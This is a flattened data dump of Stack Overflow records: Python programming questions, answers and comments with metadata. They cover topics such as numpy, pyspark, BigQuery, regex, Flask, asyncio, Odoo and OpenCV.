has text: The solution is to use [ContentManager](https://docs.python.org/3/library/email.contentmanager.html), [ContentManager.set_content()](https://docs.python.org/3/library/email.contentmanager.html#email.contentmanager.set_content) is the way _any_ data put into a message. The problem is that the standard ContentManager supports only a limited number of data types. So one need to extend it if he/she needs more
comment on: http://stackoverflow.com/q/47334185
score: 1
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/81413995
has text: general molecular formula need more parsing : 'C10H22' or 'AuCl3' are legal formulas
comment on: http://stackoverflow.com/a/47231213
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/a/47234622
has comment: http://stackoverflow.com/comment/81424483
has comment: http://stackoverflow.com/comment/81420175
upvote count: 5
type: Answer
accepted answer of: http://stackoverflow.com/q/47234513
answers question: http://stackoverflow.com/q/47234513
score: 5
has body: While usually sorting is overkill when you only need a max and min, in this case I think it's the simplest. It directly puts the numbers we want in places it's easy to access, without any complex arithmetic. y = np.random.randint(1, 5, (50, 50,3)) y2 = y.copy() y2.sort(axis=2) sout = (y2[...,2] - 2 * y2[...,0]) / y2[...,1] which gives me In [68]: (sout == divakar_out).all() Out[68]: True which is usually a good sign. ;-)
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/81419808

http://stackoverflow.com/comment/81543031
type: QuestionComment
type: Comment
score: 2
comment on: http://stackoverflow.com/q/47295851
has text: You can add https_proxy as a environment variable to your lambda function. it should work for you.

http://stackoverflow.com/comment/81637984
comment on: http://stackoverflow.com/q/47342835
type: Comment
score: 0
type: QuestionComment
has text: @JohnAnderson even if I print(tokenList) right in the function it's still an empty list [].

http://stackoverflow.com/comment/81641144
has text: So u want assistance in creating directory (on the go) or with setting default path?
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/47343981
type: Comment

http://stackoverflow.com/comment/81715870
score: 0
has text: Did you use my code exactly as it appears in answer? You can get "invalid syntax" only in case you modify it somehow...
type: AnswerComment
comment on: http://stackoverflow.com/a/47381392
type: Comment

http://stackoverflow.com/q/47334149
type: AnsweredQuestion
score: 0
answer count: 1
accepted answer: http://stackoverflow.com/a/47334339
has answer: http://stackoverflow.com/a/47334339
type: Question
has body: I've been using pyspark for work for about a year now and I'm wondering if anyone has any resources to help explain what goes on in the background when someone uses, say, Pandas from an anaconda install. For example, if I'm loading data into a pandas df with the read_csv method, I'm assuming this is NOT a distributed task, right? Likewise, are any python packages you import and use on pyspark also not distributed? Again, I'm inexperienced with the "guts" of how spark works like this, so I apologize for any bad phrasing. Thanks!
tagged with: anaconda
tagged with: pyspark
tagged with: python
has title: pyspark and python package performance

http://stackoverflow.com/a/47343164
answers question: http://stackoverflow.com/q/47342629
type: Answer
has body: You could consider reading the contents of the text file as a single string and then using re to extract the emails from that string. In this case, it looks like your email format is fairly specific, so the regex below is also specific also. Realize, though, that a regex capable of finding any RFC 5322-compliant email address (the "official standard" for email address formats) is several hundred characters long. For more on that see How to Find or Validate an Email Address from Jan Goyvaerts. Anyway... import re with open('emails.txt', 'r') as file: # Produces a single string, `emails` emails = file.read().replace('\n', '') regex = re.compile('\S+\.\S+@abc\.com') for email in regex.findall(emails): print(email) # brian.james@abc.com # Daniel.Attar@abc.com # james.alex@abc.com # elizabeth.trendy@abc.com # Gary.Jones@abc.com # byron.bones@abc.com Regex walkthrough: this regex assumes each email takes a pretty specific form: something&lt;dot&gt;somethingelse&lt;at&gt;abc.com. \S+ is 1 or more non-whitespace characters \. is a literal period (backslashing a metacharacter)
downvote count: 0
score: 1
upvote count: 1

http://stackoverflow.com/q/47249221
answer count: 0
has title: Google's BigQuery api times out before the specified timeout
has comment: http://stackoverflow.com/comment/81482218
has comment: http://stackoverflow.com/comment/81454589
type: UnansweredQuestion
tagged with: google-api
has body: I am using google's BQ api client in Python (googleapiclient) and I have a query that runs for around 10 minutes... when trying to get the results, I can see that I get a response after one minute for a retry that is being done (I have configured 3 retries) INFO:googleapiclient.discovery:URL being requested: GET https://www.googleapis.com/bigquery/v2/projects//queries/?timeoutMs=300000&amp;alt=json WARNING:googleapiclient.http:Sleeping 0.34 seconds before retry 1 of 3 for request: GET https://www.googleapis.com/bigquery/v2/projects//queries/?timeoutMs=300000&amp;alt=json, after ('The read operation timed out',) my code looks like this: from oauth2client.client import GoogleCredentials import googleapiclient.discovery BQ_QUERY_TIMEOUT = 300000 BQ_QUERY_RETRIES = 3 credentials = GoogleCredentials.get_application_default() bigquery = googleapiclient.discovery.build('bigquery', 'v2', credentials=credentials) query_data = { 'query': query, 'useLegacySql': use_legacy_sql } query_job = bigquery.jobs().query(projectId=BQ_PROJECT_ID, body=query_data).execute() page_token = None while True: page = bigquery.jobs().getQueryResults(pageToken=page_token, timeoutMs=BQ_QUERY_TIMEOUT, **query_job['jobReference']).execute(num_retries=BQ_QUERY_RETRIES) for row in page.get('rows', []): yield row page_token = page.get('pageToken') if not page_token: break The query times out after exactly one minute and then retries, for 3 times, and I can't get the results.. Any thoughts? Am I doing something wrong?
downvote count: 0
upvote count: 1
has comment: http://stackoverflow.com/comment/81449760
favorite count: 0
has comment: http://stackoverflow.com/comment/81526410
score: 1
tagged with: python
tagged with: google-bigquery
has comment: http://stackoverflow.com/comment/81453823
type: Question
has comment: http://stackoverflow.com/comment/81481995

http://stackoverflow.com/comment/81500270
type: Comment
has text: Are you using a Unix-like OS or Windows? If not Windows, you might try `pip install statsmodels --only-binary=statsmodels` to force pip to install a wheel from the package index. Otherwise, please post the errors you get from attempting to install from source?
type: QuestionComment
comment on: http://stackoverflow.com/q/47272715
score: 0

http://stackoverflow.com/q/47272640
tagged with: pyspark
has title: retrieving pyspark offset lag dynamic value in to other dataframe
tagged with: python
tagged with: rdd
score: -1
tagged with: hadoop
type: AnsweredQuestion
upvote count: 0
has body: I am using pyspark 2.1. Below are my input dataframes . I am stuck up in taking dynamic offset values from different dataframe please help df1= category value 1 3 2 2 4 5 df2 category year month weeknumber lag_attribute runs 1 0 0 0 0 2 1 2019 1 1 1 0 1 2019 1 2 2 0 1 2019 1 3 3 0 1 2019 1 4 4 1 1 2019 1 5 5 2 1 2019 1 6 6 3 1 2019 1 7 7 4 1 2019 1 8 8 5 1 2019 1 9 9 6 2 0 0 0 9 0 2 2018 1 1 2 0 2 2018 1 2 3 2 2 2018 1 3 4 3 2 2018 1 3 5 4 As shown in above example df1 is my look up table which has offset values,for 1 offset value is 3 and for category 2 offset value is 2 . in df2 ,runs is my output column so for every category values in df1 if the lag value is 3, then from dataframe2[df2] should consider the lag_attrbute and lag down by 3 values hence you could see for every 3 values of lag_attribute the runs were repeating I tried below coding didn't work . Please help df1=df1.registerTempTable("df1") df2=df2.registerTempTable("df2") sqlCtx.sql("select st.category,st.Year,st.Month,st.weekyear,st.lag_attribute,LAG(st.lag_attribute,df1.value, 0) OVER (PARTITION BY st.cagtegory ORDER BY st.Year,st.Month,st.weekyear) as return_test from df1 st,df2 lkp where df1.category=df2.category") Please help me to cross this hurdle
accepted answer: http://stackoverflow.com/a/47273936
answer count: 1
downvote count: 1
favorite count: 0
tagged with: hive
has answer: http://stackoverflow.com/a/47273936
type: Question

avro
type: Tag
tags question: http://stackoverflow.com/q/47289909
tag name: avro

http://stackoverflow.com/a/47382707
answers question: http://stackoverflow.com/q/47246592
score: 0
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/47246592
type: Answer
has body: A bag is a collection of elements with multiple occurrences. The standard module Bags in the Temporal Logic of Actions (TLA+) contains a mathematical definition that corresponds to bags. To convert from the graph of a binary decision diagram to a formula, I used the code below. The answer for the first BDD from the OP is: /\ b \in 0 .. 7 /\ x \in 0 .. 1 /\ y \in 0 .. 1 /\ z \in 0 .. 1 /\ \/ (b = 0) /\ (y = 1) \/ (b = 3) /\ (x = 1) \/ (b = 6) /\ (z = 1) This expression is written in TLA+. The above actually is not a bag, because a bag contains at least one occurrence of each element (so no occurrences of y means that this isn't a bag; omitting y should turn it into a BDD corresponding to a bag). Whether a bag is a suitable representation for product families is a separate concern, which I will not discuss. You can adapt the code to confirm the formula for the BDD shown in the second figure. The below code uses the Python packages omega == 0.1.1 and dd == 0.5.1 (note: I'm an author of them). These work in pure Python, which suffices for BDDs of this size (otherwise building dd.cudd will let you use CUDD--of course that makes no difference for BDDs that are small enough to write by hand). #!/usr/bin/env python """Convert from a BDD figure to a formula.""" from omega.symbolic import fol # "bare" BDDs (without integers) can be used also # via the package `dd` # from dd import autoref as _bdd # bdd = _bdd.BDD() ctx = fol.Context() ctx.declare(x=(0, 1), y=(0, 1), z=(0, 1), b=(0, 7)) bdd = ctx.bdd # bdd.declare('x', 'y', 'z', 'b1', 'b2', 'b3') # level of b3 u1 = bdd.add_expr('b_2') u2 = bdd.add_expr('~ b_2') # level of b2 u3 = bdd.add_expr(f'ite(b_1, {u1}, FALSE)') u4 = bdd.add_expr(f'ite(b_1, FALSE, {u2})') u5 = bdd.add_expr(f'ite(b_1, {u1}, {u2})') u6 = bdd.add_expr(f'ite(b_1, {u2}, FALSE)') # level of b1 u7 = bdd.add_expr(f'ite(b_0, FALSE, {u3})') u8 = bdd.add_expr(f'ite(b_0, FALSE, {u4})') u9 = bdd.add_expr(f'ite(b_0, FALSE, {u5})') u10 = bdd.add_expr(f'ite(b_0, {u6}, {…

http://stackoverflow.com/comment/81445146
has text: @AdamSmith Yep I was also interested. My tests indicate this work.
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/47247322
score: 1

http://stackoverflow.com/q/47227271
answer count: 1
has body: The following two expressions return True '2'.isdigit() chr(178).isdigit() the later is exponent. I am looking for a way to distinguish them for all numbers
has title: How to distinguish exponent and ordinary number
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/81405270
score: 3
upvote count: 3
has answer: http://stackoverflow.com/a/47228073
accepted answer: http://stackoverflow.com/a/47228073
has comment: http://stackoverflow.com/comment/81405220
tagged with: python
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/81404923
tagged with: digit
downvote count: 0

http://stackoverflow.com/comment/81455864
score: 0
type: Comment
has text: @ValLeNain actually, the OP did not specify if a hashtag could include all letters. In the OP's desired output, all hashtags had at least one "_" in them. Thus, I applied that logic to this solution.
type: AnswerComment
comment on: http://stackoverflow.com/a/47252768

http://stackoverflow.com/q/47331569
has body: This is a snippet from my script. while True: ## Rules: userInput == [isalpha()=True, isdigit()=True, True, isdigit()=True] userInput = raw_input('# ').replace(' ', '').split(',') print userInput print 'List Index 0', userInput[0].isalpha() print 'List Index 1', userInput[1].isdigit() print 'List Index 3', userInput[3].isdigit() print 'List is', userInput[0].isalpha() and userInput[1].isdigit() and userInput[3].isdigit() if userInput[0].isalpha() and userInput[1].isdigit() and userInput[3].isdigit() == False: print 'Error' continue else: print 'Success' break And this is the output I get if I run it with input: 1,1,1,1 # 1,1,1,1 ['1', '1', '1', '1'] List Index 0 False List Index 1 True List Index 3 True List is False Success As far as I know the if statement is True and should be executed and return to the beginning of the loop until the rules are satisfied. However, the else statement gets executed instead. What am I missing? Thank you for your help.
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/81614088
duplicate of: http://stackoverflow.com/q/15112125
tagged with: python
score: -1
has answer: http://stackoverflow.com/a/47331678
has comment: http://stackoverflow.com/comment/81614024
answer count: 3
has answer: http://stackoverflow.com/a/47331692
has title: If statement is True but ELSE gets executed
upvote count: 0
linked to: http://stackoverflow.com/q/3815359
has answer: http://stackoverflow.com/a/47331695
has comment: http://stackoverflow.com/comment/81613977
downvote count: 1
favorite count: 0
linked to: http://stackoverflow.com/q/15112125
type: Question

http://stackoverflow.com/comment/81464053
type: QuestionComment
score: 0
has text: [Ask a User for input till they give a valid response](https://stackoverflow.com/a/23294659/2823755).
type: Comment
comment on: http://stackoverflow.com/q/47256469

http://stackoverflow.com/q/47274404
has comment: http://stackoverflow.com/comment/81512974
tagged with: python-2.x
tagged with: string
favorite count: 0
type: Question
upvote count: 0
type: UnansweredQuestion
score: -2
downvote count: 2
has body: I have a script that uses raw_input to enter a IPv4 IP address in CIDR format. #&lt;--BEGIN IPv4 CIDR FORMATTING --&gt; # Get address string and CIDR string from command line sys.argv = raw_input("Type IPv4 address in CIDR format ") (addrString, cidrString) = sys.argv.split('/') The functions defined in the script converts the user inputted CIDR (1.1.1.1/16) to normal IPv4 format. Print result with code: print addrString, ".".join(map(str, mask)) outputs to screen as 1.1.1.1 255.255.0.0 which is correct. But when I assign addrString, ".".join(map(str, mask)) to a variable, like var2 = addrString, ".".join(map(str, mask)) it's shown as ('1.1.1.1', '255.255.0.0') How can i strip the unneeded signs like ( and ' and , when assigning to a variable?
tagged with: python
tagged with: variables
has comment: http://stackoverflow.com/comment/81500107
has title: Python print result to variable with correct formatting
tagged with: printing
has answer: http://stackoverflow.com/a/47274472
answer count: 1

http://stackoverflow.com/a/47343014
accepted answer of: http://stackoverflow.com/q/47342999
has body: You can't do it that way. And that's a good thing - because the default is evaluated at function creation (ie, not when it's called). If it did happen to work, then the random number would have been generated when the program first loads this function, and then kept the same random number for every call afterwards. This should give you the effect you want though; def print_rand(self, num=None): if num is None: num = self.rand() # ...
upvote count: 3
downvote count: 0
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/47342999
score: 3
type: Answer

http://stackoverflow.com/q/47249748
has title: How to stop flask from reloading the code twice?
answer count: 0
upvote count: 3
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/81449756
downvote count: 0
tagged with: apscheduler
linked to: http://stackoverflow.com/q/25504149
has body: The question was asked, but I have another issue. I've tried: app.run(use_reloader=False) As in: from flask import Flask, render_template from scheduler import * from regions import regions app = Flask(__name__) @app.route("/") def index(): return render_template("index.html", regions=regions) if __name__ == "__main__": app.run(use_debugger=False, use_reloader=False) But nothing happens. It just keeps on reloading. ~/workspace/finalproject/weather/ $ flask run * Serving Flask app "sync" * Forcing debug mode off * Running on http://ide50-artemnikitin27ed.cs50.io:8080/ (Press CTRL+C to quit) * Restarting with stat INFO:apscheduler.scheduler:Scheduler started DEBUG:apscheduler.scheduler:Looking for jobs to run DEBUG:apscheduler.scheduler:No jobs; waiting until a job is added INFO:apscheduler.scheduler:Scheduler started DEBUG:apscheduler.scheduler:Looking for jobs to run DEBUG:apscheduler.scheduler:No jobs; waiting until a job is added I've even turned off the debug mode, but still the reloader keeps running the code twice at startup. I need this in order to stop the Apscheduler running twice, which works perfectly, expect for this issue. I'll be very grateful for any help! SOLUTION: For disabling the reloader, if you use flask run execute flask run --no-reload instead as in the answer https://stackoverflow.com/a/25504196/8882620 For solving the problem without blocking the reloader, place the apscheduler settings in a function and wrap it with @app.before_first_request: @app.before_first_request def before_first_request(): scheduler = BackgroundScheduler() scheduler.start() scheduler.add_job( func=historical, trigger=CronTrigger(hour=12, minute=12), id='save_weather', name='Archive avg temp for current day', replace_existing=True) # Shut down the scheduler when exiting the app atexit.register(lambda: scheduler.shutdown())
tagged with: flask
favorite count: 0
type: Question
linked to: http://stackoverflow.com/q/14874782
tagged with: werkzeug
duplicate of: http://stackoverflow.com/q/25504149
score: 3
tagged with: python
has comment: http://stackoverflow.com/comment/81450854
has comment: http://stackoverflow.com/comment/81450301
has comment: http://stackoverflow.com/comment/81450013

http://stackoverflow.com/q/47255887
downvote count: 0
tagged with: stdout
accepted answer: http://stackoverflow.com/a/47390158
has comment: http://stackoverflow.com/comment/81729428
has answer: http://stackoverflow.com/a/47390158
score: 8
favorite count: 0
has comment: http://stackoverflow.com/comment/81717978
type: Question
tagged with: python-3.x
answer count: 2
upvote count: 8
possible better answer: http://stackoverflow.com/a/47388607
tagged with: multithreading
has answer: http://stackoverflow.com/a/47388607
tagged with: python
has body: I'm working on a dataset from a MOOC. I have a lot of python3 code snippets that I need to run and get the results from. To do this I've written a python script that loops over each snippet. For each snippet I: Create new StringIO objects Set sys.stdout and sys.stderr to my stringIO buffers Execute the code snippet in a threading.thread object Join the thread Log the results in the stringIO buffers Restore stdout and stderr This works fine for "correct" code, but this has issues in other cases: When the code has an infinite loop, thread.join doesn't kill the thread. The thread is a daemon thread, so it runs quietly in the background until my loop finishes. When the code has an infinite loop with a print(), the thread starts overwriting my actual stdout when I set it back to the default (away from the StringIO buffer). This pollutes my reporting. Here is my current code: def execCode(code, testScript=None): # create file-like string to capture output codeOut = io.StringIO() codeErr = io.StringIO() # capture output and errors sys.stdout = codeOut sys.stderr = codeErr def worker(): exec(code, globals()) if testScript: # flush stdout/stderror sys.stdout.truncate(0) sys.stdout.seek(0) # sys.stderr.truncate(0) # sys.stderr.seek(0) exec(testScript) thread = threading.Thread(target=worker, daemon=True) # thread = Process(target=worker) #, stdout=codeOut, stderr=codeErr) thread.start() thread.join(0.5) # 500ms execError = codeErr.getvalue().strip() execOutput = codeOut.getvalue().strip() if thread.is_alive(): thread.terminate() execError = "TimeError: run time exceeded" codeOut.close() codeErr.close() # restore stdout and stderr sys.stdout = sys.__stdout__ sys.stderr = sys.__stderr__ # restore any overridden functions restoreBuiltinFunctions() if execError: return False, stripOuterException(execError) else: return True, execOutput To handle this case, I've been trying to use multithreading.Process and/or contextlib.redirect_stdout to run the code in a process (then I can cal…
type: AnsweredQuestion
has title: Safely running code in a process, redirect stdout in multithreading.Process
has comment: http://stackoverflow.com/comment/81717531

http://stackoverflow.com/q/47231950
has body: I'm new to asyncio and I was wondering how you prevent race conditions from occuring. I don't see implementation for locks - is there a different way this is handled?
favorite count: 0
type: Question
tagged with: python-3.x
has title: Race Conditions with asyncio
accepted answer: http://stackoverflow.com/a/47231983
downvote count: 2
has answer: http://stackoverflow.com/a/47231983
tagged with: python
has comment: http://stackoverflow.com/comment/81414905
type: AnsweredQuestion
score: 1
upvote count: 3
answer count: 1

http://stackoverflow.com/comment/81529536
comment on: http://stackoverflow.com/a/47289348
type: Comment
has text: I checked the folder, there is python36.dll. I added path and reconverted the program. Still same. It worked with command line
score: 0
type: AnswerComment

http://stackoverflow.com/comment/81674920
type: QuestionComment
comment on: http://stackoverflow.com/q/47360506
has text: The logic is probably in `__new__()` instead. Maybe you'll have to define that instead.
type: Comment
score: 1

http://stackoverflow.com/comment/81426871
comment on: http://stackoverflow.com/a/47238035
score: 0
type: AnswerComment
has text: Thanks for your solution. Very nice but sometimes I need regex to split my string.
type: Comment

http://stackoverflow.com/comment/81724821
comment on: http://stackoverflow.com/a/47380235
has text: However, my problem is that the aspx. url doesn't change, so I don't know how to scrape data for a special date
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/q/47296491
tagged with: python
type: AnsweredQuestion
has body: I have these methods: @api.depends('order_lines', 'order_lines.isbn') def _get_products(self): isbn = self.env['product.product'] for prodtmpl in self.order_lines: isbn |= prodtmpl.isbn return isbn @api.model def _get_act_window_dict(self, name): mod_obj = self.env['ir.model.data'] result = mod_obj.xmlid_to_object(name) if not result: result = { 'view_type': 'form', 'view_mode': 'tree,form', 'res_model': 'stock.quant', 'name': 'Stock On Hand', 'type': 'ir.actions.act_window', } else: result = result[0].read()[0] return result @api.multi def action_open_isbn(self): isbn = self._get_products() result = self._get_act_window_dict('stock.product_open_quants') result['domain'] = "[('isbn','in',[" + ','.join(map(str, isbn.ids)) + "])]" result['context'] = "{'search_default_locationgroup': 1, 'search_default_internal_loc': 1}" return result On method get_act_window_dict it should return products on quants, like on Qty On Hand from product.template But it throws me this: Traceback (most recent call last): File "C:\Program Files (x86)\Odoo 8.0-20170914\server\.\openerp\http.py", line 546, in _handle_exception File "C:\Program Files (x86)\Odoo 8.0-20170914\server\.\openerp\http.py", line 583, in dispatch File "C:\Program Files (x86)\Odoo 8.0-20170914\server\.\openerp\http.py", line 319, in _call_function File "C:\Program Files (x86)\Odoo 8.0-20170914\server\.\openerp\service\model.py", line 118, in wrapper File "C:\Program Files (x86)\Odoo 8.0-20170914\server\.\openerp\http.py", line 316, in checked_call File "C:\Program Files (x86)\Odoo 8.0-20170914\server\.\openerp\http.py", line 812, in __call__ File "C:\Program Files (x86)\Odoo 8.0-20170914\server\.\openerp\http.py", line 412, in response_wrap File "C:\Program Files (x86)\Odoo 8.0-20170914\server\openerp\addons\web\controllers\main.py", line 944, in call_kw File "C:\Program Files (x86)\Odoo 8.0-20170914\server\openerp\addons\web\controllers\main.py", line 936, in _call_kw File "C:\Program Files (x86)\Odoo 8.0-20170914\serv…
score: 1
answer count: 1
downvote count: 0
upvote count: 1
favorite count: 0
type: Question
tagged with: odoo
tagged with: odoo-8
has title: ValueError: Invalid field u'field' in leaf "<osv.ExtendedLeaf: (u'field', u'in', [59]) on object (ctx: )>" - Odoo v8
has answer: http://stackoverflow.com/a/47299131
accepted answer: http://stackoverflow.com/a/47299131

http://stackoverflow.com/q/47375342
tagged with: cmd
upvote count: 1
has body: I'm trying to do the following from subprocess import call call(['C:\\BatchFile.bat', 'SomeText^MoreText']) For some reason the ^ character disappears. How can I avoid that?
favorite count: 0
type: Question
tagged with: python
has title: Calling a batch file from python with a string argument containing ^
has comment: http://stackoverflow.com/comment/81703098
accepted answer: http://stackoverflow.com/a/47375394
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/47375394
has comment: http://stackoverflow.com/comment/81703235
score: 1
answer count: 1
downvote count: 0

http://stackoverflow.com/comment/81525110
type: Comment
comment on: http://stackoverflow.com/q/47286533
type: QuestionComment
has text: Sure, edited the OP.
score: 0

http://stackoverflow.com/comment/81543682
type: AnswerComment
score: 0
type: Comment
has text: @vampiire: Yeah. Point is, in the `(int)(value)` case, the parens were pointless; in the example case, the parens are used to separate selecting the constructor to use from the call, so the arguments to the call aren't repeated. Not worth it, but legal.
comment on: http://stackoverflow.com/a/47296122

http://stackoverflow.com/comment/81487814
type: QuestionComment
comment on: http://stackoverflow.com/q/47268054
has text: You can try passing an additional parameter to request.post call, `requests.post(url=url,data=form,headers=headers, auth=('user', 'pass'))` where you include the username and password that you are passing in the SOAP body
score: 0
type: Comment

http://stackoverflow.com/comment/81768201
comment on: http://stackoverflow.com/a/47407354
has text: Oh ok. Makes sense now. Will modify the answer.
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/q/47366723
has body: my code is giving me some errors Traceback (most recent call last): File "python", line 7, in ValueError: math domain error import math a= 3 b= 5 c= 2 d= b^2 -4*a*c x1 = math.sqrt(d) print(x1)
type: AnsweredQuestion
score: 0
answer count: 2
has title: What isnt my python code running?
possible better answer: http://stackoverflow.com/a/47366746
accepted answer: http://stackoverflow.com/a/47366754
has comment: http://stackoverflow.com/comment/81685873
linked to: http://stackoverflow.com/q/15890503
has answer: http://stackoverflow.com/a/47366754
has answer: http://stackoverflow.com/a/47366746
has comment: http://stackoverflow.com/comment/81685941
tagged with: sqrt
type: Question
tagged with: math.sqrt
has comment: http://stackoverflow.com/comment/81685855
tagged with: math
has comment: http://stackoverflow.com/comment/81685876
tagged with: python

http://stackoverflow.com/comment/81589233
score: 0
has text: So where's `f`?
comment on: http://stackoverflow.com/q/47318908
type: Comment
type: QuestionComment

http://stackoverflow.com/q/47266296
has answer: http://stackoverflow.com/a/47281798
score: 10
tagged with: python
upvote count: 10
has comment: http://stackoverflow.com/comment/97564703
has title: Running aiohttp server using gunicorn
favorite count: 0
type: Question
tagged with: python-3.x
answer count: 2
tagged with: gunicorn
has answer: http://stackoverflow.com/a/49598053
type: UnansweredQuestion
downvote count: 0
has body: I am trying to run a aiohttp based server using Gunicorn. Here is the command: gunicorn aiohttpdemo_polls:app --bind 127.0.0.1:8080 It returns: Failed to find application: 'aiohttpdemo_polls' But when I am running it using python -m like below: python -m aiohttpdemo_polls It works fine. The code can be found from here which is a demo app in the aiohttp repo. Also tried it like below: gunicorn aiohttpdemo_polls.main:app --bind 127.0.0.1:8080 But its also not running the server. It returns Failed to find application: 'aiohttpdemo_polls.main' Any idea where to look further for fixing the issue?
tagged with: aiohttp

http://stackoverflow.com/comment/81506347
type: QuestionComment
has text: I think your question could get better answer on [Code Review](https://codereview.stackexchange.com/) SE.
score: 0
comment on: http://stackoverflow.com/q/47277656
type: Comment

http://stackoverflow.com/q/47240220
has comment: http://stackoverflow.com/comment/83651618
answer count: 1
has comment: http://stackoverflow.com/comment/81430780
has comment: http://stackoverflow.com/comment/83651585
tagged with: string
has comment: http://stackoverflow.com/comment/81430799
type: Question
has comment: http://stackoverflow.com/comment/83651546
has title: Python String-Iteration/Manipulation Speed-Strategy
tagged with: performance
tagged with: algorithm
type: UnansweredQuestion
tagged with: python
tagged with: sorting
has body: Imagine you want to manipulate a string "abcdefgh" via using an algorithm to change the string to "fbcheagd". Which strategy below would allow the program to finish quicker, or would they both finish with a tie? Program 1: msg,out,key = 'abcdefgh',str(),[5,1,2,7,4,0,6,3] for i in key: out += msg[i] msg = out print(msg) Program 2: msg,out = 'abcdefgh',str() key = {'a':'f','b':'b','c':'c','d':'h','e':'e','f':'a','g':'g','h':'d'} for i in msg: out += key[i] msg = out print(msg)
has answer: http://stackoverflow.com/a/48333065
score: 0

http://stackoverflow.com/q/47234958
has answer: http://stackoverflow.com/a/47235484
possible better answer: http://stackoverflow.com/a/47235121
has answer: http://stackoverflow.com/a/47235121
tagged with: python
favorite count: 0
type: Question
accepted answer: http://stackoverflow.com/a/47235484
upvote count: 4
has comment: http://stackoverflow.com/comment/81420517
has comment: http://stackoverflow.com/comment/81443547
answer count: 2
has comment: http://stackoverflow.com/comment/81420467
has body: Let's say I have a list like this: ['a','b','c']. I need to get a random combination from this list eg ['a','c']. However I need all combinations to have equal probability so the chances of getting ['a'] should be the exact same as the chances of getting ['b','c']. My real list is 22 elements long so enumerating every single combination is impossible. My first thought was to use random.sample however that requires you to specify the number of elements, which would have to be randomly chosen but the probability would have to be (number of elements in this combination)/(number of elements in all combinations) which are gigantic numbers. Is there any better way? This will be run thousands of times so efficient solutions are appreciated.
has title: Generate a random, equally probable combination from a list in python
has comment: http://stackoverflow.com/comment/81421454
downvote count: 0
has comment: http://stackoverflow.com/comment/81420477
score: 4
type: AnsweredQuestion

http://stackoverflow.com/comment/81587016
has text: Um, what's the point of using a `dict` if *you always have to iterate over it?* Why not `if, elif, else`?
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/47317858
type: Comment

http://stackoverflow.com/q/47235819
tagged with: python
tagged with: image-processing
has comment: http://stackoverflow.com/comment/81422157
type: AnsweredQuestion
has body: I want to put my pic in my frame.I used this cod : from PIL import Image img = Image.open('Pic.jpg') frame = Image.open('Frame.jpg') size1 = 354,362 paste_point = 69,339 Pic = img.resize((size1)) frame.paste(img, (paste_point)) frame.show() When i run the program, my pic doesn't put in my frame. How can i create a frame in python
has title: How can i create frame with python that i can put a picture into frame
upvote count: 1
answer count: 1
downvote count: 0
favorite count: 0
has answer: http://stackoverflow.com/a/47236052
type: Question
accepted answer: http://stackoverflow.com/a/47236052
has comment: http://stackoverflow.com/comment/81422083
score: 1

http://stackoverflow.com/q/47257299
has comment: http://stackoverflow.com/comment/81465476
type: Question
tagged with: opencv
has answer: http://stackoverflow.com/a/47257607
has body: I'm learning how to recognize shapes that're within image provided. I'm able to recognize shape by number of edges present to the geometrical body. But now I'm wondering is there any way to differentiate between square and rectangle within image? Here's my code. Currently I'm just drawing contours to the geometrical figures. import cv2 raw_image = cv2.imread('test1.png') cv2.imshow('Original Image', raw_image) cv2.waitKey(0) bilateral_filtered_image = cv2.bilateralFilter(raw_image, 5, 175, 175) cv2.imshow('Bilateral', bilateral_filtered_image) cv2.waitKey(0) edge_detected_image = cv2.Canny(bilateral_filtered_image, 75, 200) cv2.imshow('Edge', edge_detected_image) cv2.waitKey(0) _, contours, hierarchy = cv2.findContours(edge_detected_image, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE) contour_list = [] for contour in contours: approx = cv2.approxPolyDP(contour,0.01*cv2.arcLength(contour,True),True) area = cv2.contourArea(contour) if ((len(approx) &gt;= 3)): contour_list.append(contour) cv2.drawContours(raw_image, contour_list, -1, (0,0,0), 2) cv2.imshow('Objects Detected',raw_image) cv2.waitKey(0)
has answer: http://stackoverflow.com/a/47258121
tagged with: python
has comment: http://stackoverflow.com/comment/81465516
has comment: http://stackoverflow.com/comment/81472240
possible better answer: http://stackoverflow.com/a/47257607
answer count: 4
accepted answer: http://stackoverflow.com/a/47258028
type: AnsweredQuestion
score: 0
has title: Differentiation between rectangle and square in image using opencv2 python
has answer: http://stackoverflow.com/a/47258028
tagged with: shape-recognition
has answer: http://stackoverflow.com/a/61578196
tagged with: image-processing

http://stackoverflow.com/a/47276376
score: 0
answers question: http://stackoverflow.com/q/47276238
type: Answer
has body: One way to do this would be with string alignment (assuming you do not need Python 2): r = 6 c = 6 for i in range(1,r+1): numbs = [i**y for y in range(1,c+1)] print( ' '.join(['{:&gt;12}'.format(y**i) for y in range(1,c+1)]) ) Prints 1 1 1 1 1 1 2 4 8 16 32 64 3 9 27 81 243 729 4 16 64 256 1024 4096 5 25 125 625 3125 15625 6 36 216 1296 7776 46656

http://stackoverflow.com/comment/81491623
comment on: http://stackoverflow.com/a/47270279
type: AnswerComment
has text: But, I updated the answer to make use of your example, also providing a .get() example.
score: 0
type: Comment

http://stackoverflow.com/q/47305897
tagged with: python
has answer: http://stackoverflow.com/a/47307029
possible better answer: http://stackoverflow.com/a/47307029
type: AnsweredQuestion
has title: matching rows between dataframes in pandas in python
tagged with: pandas
downvote count: 0
score: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/81594205
has body: I have two dataframes, df1, Names one two three Sri is a good player Ravi is a mentor Kumar is a cricketer df2, values sri NaN sri, is kumar,cricketer I am trying to get the row in df1 which contains the all the items in df2 My expected output is, values Names sri Sri is a good player NaN sri, is Sri is a good player kumar,cricketer Kumar is a cricketer i tried, df1["Names"].str.contains("|".join(df2["values"].values.tolist())) but I cannot achieve my expected output as it has (","). Please help
favorite count: 0
type: Question
answer count: 2
tagged with: data-analysis
